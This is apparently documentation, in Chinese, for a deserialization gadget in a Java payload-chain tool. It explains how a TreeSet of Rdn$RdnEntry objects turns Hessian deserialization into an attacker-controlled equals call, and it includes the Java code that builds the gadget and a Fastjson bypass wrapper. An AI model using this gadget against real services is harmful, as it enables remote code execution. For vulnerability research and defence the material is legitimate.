- 类别:common 别名:— 优先级:—(未设置)
- 作者:—
- 依赖:
jdk:javax.naming.ldap.Rdn$RdnEntry(JDK 内置) - 状态:
@Deprecated(源码标注已弃用)
利用 JDK 内置的 javax.naming.ldap.Rdn$RdnEntry 在 TreeSet#add 排序时会调用其 compareTo,而 Rdn$RdnEntry.compareTo 内部会对两个条目的 value 调用 equals,从而把「排序触发」转成「对任意受控对象调用 obj1.equals(obj2)」。这是一个把 Hessian(或其它调用 add/排序的)反序列化入口 桥接到 Equals 型 sink 的跳板。
- 入口
tags:HessianDeserialize、NotForJavaSerializable—— 承接 Hessian 反序列化入口;NotForJavaSerializable表示因TreeSet内含不可原生序列化的对象结构,不能用于 Java 原生反序列化(仅适合 Hessian 等按字段重建的场景)。 - 衔接
nextTags:Equals—— 之后需接一个「暴露危险 equals」的 gadget(如某些XString/toString-via-equals 或 JNDI 触发型 equals 载体)。 excludes:无。
public Object getObject(Object obj1, Object obj2) throws Exception {
Object rdnEntry1 = Reflections.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry");
Reflections.setFieldValue(rdnEntry1, "type", "gadget-chains");
Reflections.setFieldValue(rdnEntry1, "value", obj2); // entry1.value = obj2
Object rdnEntry2 = Reflections.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry");
Reflections.setFieldValue(rdnEntry2, "type", "gadget-chains");
Reflections.setFieldValue(rdnEntry2, "value", obj1); // entry2.value = obj1
TreeSet treeSet = PayloadHelper.makeTreeSet(rdnEntry1, rdnEntry2); // add 两个条目 => compareTo => equals
return treeSet;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object[] objects = (Object[]) chain.doCreate(context); // 下游返回一对对象 [obj0, obj1]
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
Object resultObject = this.getObject(objects[0], objects[1]);
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject); // Fastjson bypass 场景包一层 List
}
return resultObject;
}逐段解释:
invoke期望下游chain.doCreate返回一个长度为 2 的对象数组objects——即要参与equals的两个对象(一个是「被调用 equals 的载体」,一个是「作为参数传入」的对象)。getObject用Reflections.createWithoutConstructor无参构造两个Rdn$RdnEntry(跳过其私有构造/校验),把type都设为无害字符串"gadget-chains",并把两个受控对象交叉塞进各自的value字段。PayloadHelper.makeTreeSet把两个条目放进TreeSet。反序列化重建TreeSet时(Hessian 会调用add恢复元素),第二个元素插入触发Rdn$RdnEntry.compareTo;该方法先比较type(相等),再对value调equals——于是执行obj1.equals(obj2)(或反向),把控制权交给下游Equalssink。- 若 context 中存在
FASTJSON_HANDLE_BYPASS_KEY(Fastjson/自定义处理绕过场景),额外用CommonMethod.listWrap把结果与一个 getter 对象包成 List。
关键点:type 相等使 compareTo 不会提前返回,必然走到对 value 的 equals 比较,这是触发链得以延续的前提。
本类无 @Param。参与 equals 的两个对象完全由下游 gadget 通过 chain.doCreate 提供。
- 仅需 JDK 内置的
javax.naming.ldap.Rdn$RdnEntry,无第三方依赖;理论上跨 JDK 版本通用(取决于该内部类字段type/value是否保持)。 - 不可用于 Java 原生反序列化(
NotForJavaSerializable):TreeSet原生反序列化会在readObject中即时put,且元素结构不满足原生可序列化约束,故设计上定位于 Hessian 等「按字段重建后调用集合方法」的入口。 - 已被
@Deprecated标注,属历史/备选跳板,实战多用同类的XString/HashMap#equals等更稳定的 equals 触发器。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。
- 下游(
nextTags=Equals):各类以equals为触发点的 sink(如XString*触发toString、或 JNDI 型 equals 载体)。 - 同类入口跳板:
HashMapEquals、HashTableEquals、ConcurrentHashMapEquals等Equals触发器(同为 common/equals 包)。